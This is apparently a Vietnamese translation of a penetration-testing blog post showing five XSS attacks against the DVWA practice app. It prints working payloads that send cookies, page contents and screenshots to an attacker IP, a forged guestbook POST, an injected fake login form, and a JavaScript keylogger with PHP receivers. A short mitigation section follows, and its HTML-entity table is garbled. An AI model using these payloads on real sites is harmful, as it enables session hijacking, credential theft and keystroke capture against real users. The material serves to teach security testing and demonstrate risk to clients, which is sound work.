5 kịch bản thực tế cho các cuộc tấn công XSS
Chúng ta hãy cùng khám phá một vài tình huống tấn công thực tế có thể được triển khai dưới dạng PoCs để chứng minh nguy cơ thực sự của các lỗ hổng Cross-Site Scripting (XSS). Là một người kiểm thử sự xâm nhập, bạn muốn khách hàng hiểu được rủi ro của các lỗ hổng mà bạn tìm thấy. Và cách tốt nhất để ...
Chúng ta hãy cùng khám phá một vài tình huống tấn công thực tế có thể được triển khai dưới dạng PoCs để chứng minh nguy cơ thực sự của các lỗ hổng Cross-Site Scripting (XSS). Là một người kiểm thử sự xâm nhập, bạn muốn khách hàng hiểu được rủi ro của các lỗ hổng mà bạn tìm thấy. Và cách tốt nhất để làm điều này là bằng cách tạo ra các khái niệm chứng minh (proof-of-concept PoCs) có tác động cao trong đó bạn chỉ ra cách những kẻ tấn công có thể khai thác các lỗ hổng và ảnh hưởng đến doanh nghiệp. Trong bài viết này, chúng ta sẽ xem cách tạo XSS tấn công PoCs để:
- Cướp session của người dùng
- Thực hiện các hoạt động trái phép
- Thực hiện các cuộc tấn công lừa đảo
- Nắm bắt các phím chính
- Ăn cắp thông tin nhạy cảm
Giới thiệu
Cross-Site Scripting (XSS) là một lỗ hổng trong các ứng dụng web và cũng là tên của một cuộc tấn công phía máy khách trong đó kẻ tấn công tiêm và chạy một đoạn mã độc vào một trang web hợp pháp. Các trình duyệt có khả năng hiển thị HTML và thực thi JavaScript. Nếu ứng dụng không loại bỏ các ký tự đặc biệt trong đầu vào / đầu ra và thể hiện đầu vào của người dùng khi quay lại trình duyệt, một kẻ thù có thể thực hiện một cuộc tấn công XSS (Cross-Site Scripting) thành công. Bạn có thể tìm thêm thông tin về lỗ hổng này trong trang OWASP’s Cross-Site Scripting. Đối với mục đích demo, ta sẽ sử dụng ứng dụng DVWA nổi tiếng mà chúng ta nên cài đặt trước. Bạn có thể cài đặt theo các link: Youtube hoặc Tại đây. Trang DVWA http://localhost:81/DVWA/vulnerabilities/xss_r/ bị ảnh hưởng bởi XSS được phản ánh trong tham số name. Điều này có thể được nhìn thấy trong hình bên dưới khi chúng ta tiêm mã JavaScript <script>alert(123)</script> và nó được phản ánh và thực thi trong trang response.
XSS Attack 1: Chiếm phiên người dùng
Hầu hết các ứng dụng web duy trì phiên người dùng để xác định người dùng qua nhiều yêu cầu HTTP . Phiên (session) được xác định bởi session cookies. Ví dụ: sau khi đăng nhập thành công vào một ứng dụng, máy chủ sẽ gửi cho bạn session cookie theo Set-Cookie header. Bây giờ, nếu bạn muốn truy cập bất kỳ trang nào trong ứng dụng hoặc gửi biểu mẫu, cookie (hiện được lưu trữ trong trình duyệt) cũng sẽ được bao gồm trong tất cả các yêu cầu được gửi đến máy chủ. Bằng cách này, máy chủ sẽ biết bạn là ai. Do đó, session cookie là thông tin nhạy cảm, nếu bị xâm nhập, có thể cho phép kẻ tấn công mạo danh người dùng hợp pháp và có quyền truy cập vào phiên web hiện tại của anh ta. Cuộc tấn công này được gọi là tấn công phiên (session hijacking). Mã JavaScript đang chạy trong trình duyệt có thể truy cập session cookie (khi chúng thiếu HTTPOnly) bằng cách gọi document.cookie. Vì vậy, nếu chúng ta tiêm khối mã sau vào tham số name, trang dễ bị tấn công sẽ hiển thị giá trị cookie hiện tại trong khối cảnh báo:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>
Bây giờ, để đánh cắp cookie, chúng ta phải cung cấp một đoạn sẽ gửi giá trị cookie đến trang web do kẻ tấn công kiểm soát. Đoạn mã sau đây sẽ tạo một đối tượng Image mới trong DOM của trang hiện tại và đặt thuộc tính src link đến trang của kẻ tấn công. Do đó, trình duyệt sẽ thực hiện yêu cầu HTTP đến trang web bên ngoài này (192.168.149.128) và URL sẽ chứa cookie phiên.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
Vì vậy, đây là URL tấn công sẽ gửi cookie đến máy chủ của chúng ta:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.cookie;</script>
Khi trình duyệt nhận được yêu cầu này, nó sẽ thực thi đoạn JavaScript, thực hiện một yêu cầu mới tới 192.168.149.128, cùng với giá trị cookie trong URL, như được hiển thị bên dưới.
Nếu chúng ta nhìn kết nối đến trên máy chủ do kẻ tấn công kiểm soát (192.168.149.128), chúng ta có thể thấy một yêu cầu đến với các giá trị cookie ( security và PHPSESSID ) được thêm vào URL. Thông tin tương tự có thể được tìm thấy trong tệp access.log trên server.
Sử dụng cookie đã ăn cắp
Với thông tin cookie ở trên, nếu chúng ta truy cập bất kỳ trang nội bộ nào của ứng dụng và nối thêm giá trị cookie trong yêu cầu, chúng ta có thể truy cập trang thay mặt cho nạn nhân, trong phiên riêng của mình (mà không cần biết tên người dùng và mật khẩu). Về cơ bản, chúng ta đã chiếm quyền điều khiển phiên của người dùng.
Thuộc tính HttpOnly Cookie có thể giúp giảm thiểu tình huống này bằng cách ngăn chặn truy cập vào các giá trị cookie thông qua JavaScript. Nó có thể được đặt khi khởi tạo giá trị cookie (thông qua Set-Cookie header).
XSS Attack 2: Thực hiện các hoạt động trái phép
Nếu thuộc tính HTTPOnly Cookie được đặt, chúng ta không thể đánh cắp cookie thông qua JavaScript. Tuy nhiên, bằng cách sử dụng cuộc tấn công XSS, chúng ta vẫn có thể thực hiện các hành động trái phép bên trong ứng dụng thay mặt cho người dùng. Chẳng hạn, trong kịch bản tấn công này, chúng ta sẽ đăng một tin nhắn mới trong Guestbook dưới danh nghĩa người dùng mà không có sự đồng ý của anh ta. Đối với điều này, chúng ta cần giả mạo một yêu cầu POST HTTP đến trang Guestbook với các tham số thích hợp với JavaScript. Đoạn mã sau sẽ làm điều này bằng cách tạo một đối tượng XMLHTTPRequest và đặt tiêu đề và dữ liệu cần thiết:
<script> var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true); xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded'); xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Guestbook'); </script>
Đây là cách yêu cầu trông giống như trong trình duyệt và cũng bị chặn trong Burp.
Kịch bản thực thi sẽ tạo ra một yêu cầu mới để thêm nhận xét thay mặt cho người dùng.
XSS Attack 3: Đánh cắp thông tin đăng nhập của người dùng
XSS cũng có thể được sử dụng để đưa một biểu mẫu vào trang dễ bị tấn công và sử dụng biểu mẫu này để thu thập thông tin đăng nhập của người dùng. Kiểu tấn công này được gọi là phishing. Đoạn mã bên dưới sẽ thêm một biểu mẫu với thông báo Please login to proceed, cùng với các trường username và password. Khi truy cập vào liên kết dưới đây, nạn nhân có thể nhập thông tin đăng nhập. Lưu ý rằng chúng ta có thể sửa đổi code để làm cho nó trông giống một form hợp lệ như chúng ta muốn.
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
Khi người dùng nhập thông tin đăng nhập của họ và nhấp vào nút Login , yêu cầu được gửi đến máy chủ do kẻ tấn công kiểm soát. Yêu cầu có thể được nhìn thấy trong các ảnh chụp màn hình dưới đây:
Thông tin đăng nhập được nhập của người dùng (pentest: pentest) có thể được nhìn thấy trên máy chủ nhận.
XSS Attack 4: Nắm bắt các phím bằng cách tiêm keylogger
Trong kịch bản tấn công này, chúng tôi sẽ đưa một keylogger JavaScript vào trang web dễ bị tấn công và chúng tôi sẽ nắm bắt tất cả các phím của người dùng trong trang hiện tại. Trước hết, chúng tôi sẽ tạo một tệp JavaScript riêng và chúng tôi sẽ lưu trữ nó trên máy chủ do kẻ tấn công kiểm soát. Chúng tôi cần tệp này vì code quá lớn để được chèn vào URL và chúng tôi tránh mã hóa và thoát các lỗi. Tệp JavaScript (xss.js trong /var/www/html) chứa mã sau đây:
document.onkeypress = function(evt) { evt = evt || window.event key = String.fromCharCode(evt.charCode) if (key) { var http = new XMLHttpRequest(); var param = encodeURI(key); http.open("POST", "http://192.168.149.128/keylog.php", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.send("key=" + param); } }
Mỗi lần nhấn phím, một yêu cầu XMLHttp mới được tạo và gửi tới trang keylog.php được lưu trữ tại máy chủ do kẻ tấn công kiểm soát. Mã trong keylog.php (trong /var/www/html) ghi giá trị của các phím được nhấn vào một tệp có tên data.txt.
<?php if (!empty($_POST["key"])) { $logfile = fopen("data.txt", "a+"); fwrite($logfile, $_POST["key"]); fclose($logfile); } ?>
Bây giờ chúng ta cần gọi trang dễ bị tấn công với code từ máy chủ của chúng tôi:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/xss.js">
Khi tập lệnh được tải, một yêu cầu mới sẽ được đưa ra với mỗi charCode của bất kỳ phím nào.
Giá trị của tham số key đang được ghi vào tệp data.txt , như được hiển thị trong ảnh chụp màn hình bên dưới.
XSS Attack 5: Đánh cắp thông tin nhạy cảm
Một hành động độc hại khác có thể được thực hiện với một cuộc tấn công XSS là đánh cắp thông tin nhạy cảm từ phiên hiện tại của người dùng. Hãy tưởng tượng rằng một ứng dụng ngân hàng internet dễ bị tấn công bởi XSS, kẻ tấn công có thể đọc số dư hiện tại, thông tin giao dịch, dữ liệu cá nhân, v.v. Đối với kịch bản này, chúng ta cần tạo một tệp JavaScript trên máy chủ do kẻ tấn công kiểm soát. Tệp chứa logic chụp ảnh màn hình của trang nơi tập lệnh đang chạy:
Sau đó, chúng ta cần tạo một tệp PHP trên máy chủ của kẻ tấn công, để lưu nội dung của tham số png vào tệp test.png.
<?php $data = $_POST["png"]; $data = substr($data, 22); $f = fopen("test.png", "w+"); fputs($f, base64_decode($data)); fclose($f); ?>
Bây giờ chúng ta tiêm mã JavaScript vào trang dễ bị tấn công bằng cách lừa người dùng truy cập URL sau:
http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="http://192.168.149.128/screenshot.js">
Khi tệp JavaScript được tải, tập lệnh sẽ gửi dữ liệu ở định dạng base64 đến tệp saveshot.php để ghi dữ liệu vào tệp test.png. Khi mở tệp test.png, chúng ta có thể thấy ảnh chụp màn hình của trang dễ bị tấn công.
Cách khác
Một cách khác để đánh cắp nội dung trang sẽ là lấy mã nguồn HTML bằng cách sử dụng getElementById. Đây là khối mã lấy innerHTML của phần tử guestbookcomments và gửi nó đến những kẻ tấn công.
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.getElementById('guestbook_comments').innerHTML;</script>
Chúng tôi cũng có thể tìm nạp toàn bộ nguồn trang của trang bằng cách sử dụng đoạn code sau:
<script>new Image().src="http://192.168.149.128/bogus.php?output="+document.body.innerHTML</script>
Giải mã dữ liệu nhận được trong Burp Debugger cung cấp cho chúng ta nguồn trang rõ ràng của trang dễ bị tấn công. Ở đây, chúng ta có thể xem các bình luận của Guestbook. Bạn có thể xem và cài đặt theo link sau.
Kết luận
Tùy thuộc vào chức năng và dữ liệu được xử lý bởi ứng dụng dễ bị tấn công, các lỗ hổng XSS có thể gây rủi ro đáng kể cho doanh nghiệp. Kẻ tấn công có thể đánh cắp thông tin bí mật, thực hiện các hoạt động trái phép và chiếm đoạt toàn bộ phiên web của người dùng. Cách bảo vệ tốt nhất chống lại kiểu tấn công này là xử lí đầu ra, nghĩa là mọi dữ liệu nhận được từ phía khách hàng phải được xử lí trước khi được trả lại trong trang phản hồi. Việc xử lí được thực hiện bằng cách chuyển đổi các ký tự HTML đặc biệt thành các thực thể HTML tương đương của chúng, chẳng hạn như:
< ---> < > ---> > " ---> " ' ---> '
Nên sử dụng các hàm có sẵn của mọi ngôn ngữ lập trình được thiết kế để thực hiện xử lí. Ví dụ, trong PHP bạn nên sử dụng htmlentity, trong javascript là encodeURI, trong ruby là escapeHTML. Thông tin thêm về bảo vệ chống lại XSS có thể được tìm thấy trong OWASP’s XSS Prevention Cheat Sheet. Nguồn tham khảo: https://pentest-tools.com/blog/xss-attacks-practical-scenarios/